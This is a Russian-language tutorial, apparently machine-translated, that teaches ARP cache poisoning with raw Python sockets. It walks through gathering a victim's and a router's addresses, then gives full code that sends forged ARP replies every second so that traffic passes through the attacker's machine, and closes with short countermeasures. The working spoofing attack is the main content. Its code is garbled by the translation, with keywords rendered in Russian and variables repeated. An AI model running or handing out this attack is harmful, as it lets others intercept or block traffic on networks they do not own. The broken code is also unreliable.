ARP отравляющая атака с необработанными сокетами в Python

{title}

Сегодня я собираюсь научить вас, как осуществить отравляющую ARP-атаку . Для этого я буду использовать сырые сокеты в Python, цель состоит в том, чтобы увидеть, как работают эти типы сокетов, узнать, как работает эта атака или что вы можете выполнять тесты в своей сети (хотя для этого уже есть инструменты для сети), а не в том, что вы используете его с злоумышленные цели

примечание

С помощью scapy вы можете выполнять эту работу быстрее и проще, но, увидев это руководство, вы сможете использовать знания, чтобы использовать библиотеку и сделать это самостоятельно, если мы сделаем это наоборот, это будет стоить вам дороже. Показанный здесь метод работает только в системах Linux.

Мелкие детали, которые вы должны знать
ARP

Это протокол разрешения адресов, найденный на сетевом уровне. Его задача - найти MAC-адрес (физический адрес), который соответствует определенному IP-адресу (сетевому адресу).
ARP кэши

Каждое устройство имеет небольшую память, в которой хранятся трансляции MAC-IP, поэтому мы воспользуемся этой атакой. Этот кеш существует потому, что он позволяет избежать затрат на запрос перевода каждый раз, когда мы подключаемся к другому устройству.

Работа протокола ARP проста: когда вы отправляете кому-то пакет, будет проверяться кеш устройства, если такой перевод существует, он отправит пакет, если нет ARP, он отправит широковещательный пакет (он особенный, у него есть MAC-адрес). Назначение ff: ff: ff: ff: ff: ff), этот пакет достигнет всех устройств в сети и «спросит», у кого запрашивается IP-адрес, каждое устройство при просмотре специального MAC прочитает пакет и только Кто бы ни запрашивал IP-адрес, он ответит с указанием своего MAC-адреса, тогда он будет сохранен в кеше, чтобы не запрашивать его снова в течение следующих нескольких минут.

Атака ARP используется для слежки за данными, проходящими через сеть, или мы также можем использовать их, чтобы данные не достигали пунктов назначения, в которые они направлены. Эта атака состоит в постоянной отправке пакетов ARP в сеть, указывающих, что наш MAC соответствует IP-адресу жертвы и что наш MAC-адрес связан с IP-адресом маршрутизатора . Мы должны постоянно посылать пакеты, потому что это динамический протокол, поэтому кеш меняется, возможно, перевод удален, обновлен с реальными данными, поэтому, чтобы убедиться, что мы отправляем пакеты так часто, они не очень тяжелые, Поэтому они обычно не будут перегружать сеть.

примечание

ARP - это протокол, который используется только в IPv4, поэтому эта атака недопустима для IPv6, но атаку отравления можно осуществить, используя преимущества другого протокола, такого как NDP, который используется для обнаружения «соседей» в сети.

Чтобы начать наш пример, нам нужно знать IP-адреса жертвы и шлюза маршрутизатора, а также его MAC, вы можете использовать nmap для обнаружения активных устройств в вашей сети, и MAC может легко получить его, например, Мы хотим отравить кэш с адресом 192.168.66.2, который станет моей жертвой (виртуальная машина), я выполню следующее в cmd или терминале:

 Windows -> Ping 192.168.66.2 -n 1 Unix -> Ping 192.168.66.2 -c 1 
-Cy -n указывает, что отправляется один пакет, у каждой операционной системы свой параметр. Позже мы ставим:
 arp -a 
Мы укажем кэш ARP, поэтому мы можем видеть сохраненные нами переводы (и, предварительно отправив эхо-запрос на перевод, мы уже имеем перевод с жертвой). Мы должны сделать то же самое со шлюзом маршрутизатора:

{title}

Затем я положу все данные, которые мы должны иметь под рукой:

  • Жертва -> 192.168.66.2 / MAC: 00: 50: 56: e3: d1: 75
  • Маршрутизатор -> IP: 192.168.66.1 / MAC: 00: 50: 56: c0: 00: 08
  • Мой ПК -> IP: 192.168.66.128 / MAC: 00: 0c: 29: 5e: cb: 5f

Я поместил полный код и объяснил его ниже, он работает для Python в версии 2.x, но с небольшими изменениями вы можете адаптировать его к версии 3.x:

 импорт сокета время импорта, структура, соединение binascii = socket.socket (socket.PF_PACKET, socket.SOCK_RAW, socket.ntohs (0x0800)) connection.bind (("ens33", socket.htons (0x0800))) macOrigen = "\ x00 \ x0c \ x29 \ x5e \ xcb \ x5f "macVictima =" \ x00 \ x50 \ x56 \ xe3 \ xd1 \ x75 "macRouter =" \ x00 \ x50 \ x56 \ xc0 \ x00 \ x08 "Общий код пакета = macOrigen + code eth1 = macVictima + общий пакет eth2 = macRouter + общий пакет Тип Аппаратное обеспечение = "\ x00 \ x01" тип Протокол = "\ x08 \ x00" длина Аппаратное обеспечение = "\ x06" длина Протокол = "\ x04" Код операции = тип \ Аппаратное обеспечение = тип Аппаратное обеспечение + тип тип протокол + длина аппаратное обеспечение + длина протокол + код операции + macOrigen ipRouter = socket.inet_aton ("192.168.66.1") ipVictima = socket.inet_aton ("192.168.66.2") arpVictima = eth1 + общий заголовок + ipRouter + macVictima + ipVictima + ipVictima + ipVictima + ipVictima + ipVictima + ipVictima + ipVictima + ipVictima ipVictima + macRouter + ipRouter print («Отравление кэшей ... для остановки CTRL + C»), а True: connection.send (arpRouter) connection.send (arpVictima) time.sle эп (1) 
Первое, что мы делаем, это импортируем необходимые библиотеки, которые не требуют дальнейшего объяснения. Давайте продолжим со следующими строками:
 connection = socket.socket (socket.PF_PACKET, socket.SOCK_RAW, socket.ntohs (0x0800)) connection.bind (("ens33", socket.htons (0x0800))) 
Первая строка создает сокет со следующими характеристиками:
  • PF_PACKET : отправлять и получать пакеты на низком уровне.
  • SOCK_RAW : использовать необработанные сокеты.
  • socket.htons (0x0800) : 0x0800 будет определять протокол ETH_P_IP, функция ntohs преобразует сетевой формат в байты в соответствующий формат для нашего компьютера (s означает короткий, то есть 16 бит, если он имеет l, они будут 32 бита)

$config[ads_text5] not found

А второй собирается поставить сокет «слушать» сокет:

  • ens33 : это сетевой интерфейс, где мы собираемся работать, ваш может быть eth0, если вы используете ifconfig, вы увидите его (см. изображение ниже).
  • socket.htons (0x800) : то же, что и раньше.

{title}

Строки, которые мы увидим далее, будут создавать заголовки Ethernet, для этого мы устанавливаем MAC и код (тот, который мы помещаем, принадлежит протоколу ARP), если вы хотите узнать больше об Ethernet, нажмите здесь:

 macOrigen = "\ x00 \ x0c \ x29 \ x5e \ xcb \ x5f" macVictima = "\ x00 \ x50 \ x56 \ xe3 \ xd1 \ x75" macRouter = "\ x00 \ x50 \ x56 \ xc0 \ x00 \ x08" Общий код пакета = macOrigen + код eth1 = macVictima + общий пакет eth2 = macRouter + общий пакет 
Следующая часть кода собирает пакеты ARP. Чтобы просмотреть структуру, перейдите по следующей ссылке и перейдите в раздел структуры пакета. Код операции \ x00 \ x02 должен указывать, что это пакет ответа (если 1 будет запросом), а функция socket.inet_aton () преобразует адрес IPv4 в 32-разрядный двоичный формат. Как вы можете видеть из предыдущего кода и теперь, чтобы начать создавать пакет, мы объединяем его части.
 Тип оборудования = "\ x00 \ x01" Тип протокола = "\ x08 \ x00" Длина оборудования = "\ x06" Длина протокола = "\ x04" Код операции = "\ x00 \ x02" Общий заголовок = Тип Оборудование + Тип протокола + Оборудование + Протокол длины + Макропроцесс + макрос = socket.inet_aton ("192.168.66.1") ipVictima = socket.inet_aton ("192.168.66.2") arpVictima = eth1 + заголовок Общий + ipRouter + macVictima + ipVictima arpRouter = eth2 + общий заголовок + ipVictima + macRouter + iRR 
Последняя часть кода показывает сообщение о том, что оно работает, и входит в бесконечный цикл, который будет посылать пакеты, чтобы отравить кэш-память нашей жертвы и шлюза маршрутизатора, это делается каждую секунду, так как мы спим.
 print («Отравление кэшей ... для остановки CTRL + C»), в то время как True: connection.send (arpRouter) connection.send (arpVictima) time.sleep (1) 
Давайте посмотрим, как выглядит выполнение программы (мы должны запустить его как пользователь root ):

{title}

И если мы посмотрим на кэш жертвы, то увидим, что его IP-адрес теперь связан с MAC-адресом атакующего:

{title}

меры противодействия

  • Используя статические таблицы ARP, мы добавляем записи вручную и не допускаем их изменения.
  • Обратитесь к обратному ARP, этот протокол вернет IP-адрес от MAC, поэтому, если он возвращает более одного IP-адреса, вполне вероятно, что они подделали нас.

Эти меры требуют минимальных знаний, поэтому не каждый сможет их выполнить, но, обратившись к нашему разделу вопросов или руководств по информационной безопасности, вы обязательно найдете помощь.

Если вы хотите код здесь, я оставляю почтовый индекс:

Скачать код

ArpPoisoning.zip 579 байт 68 скачиваний

  • 0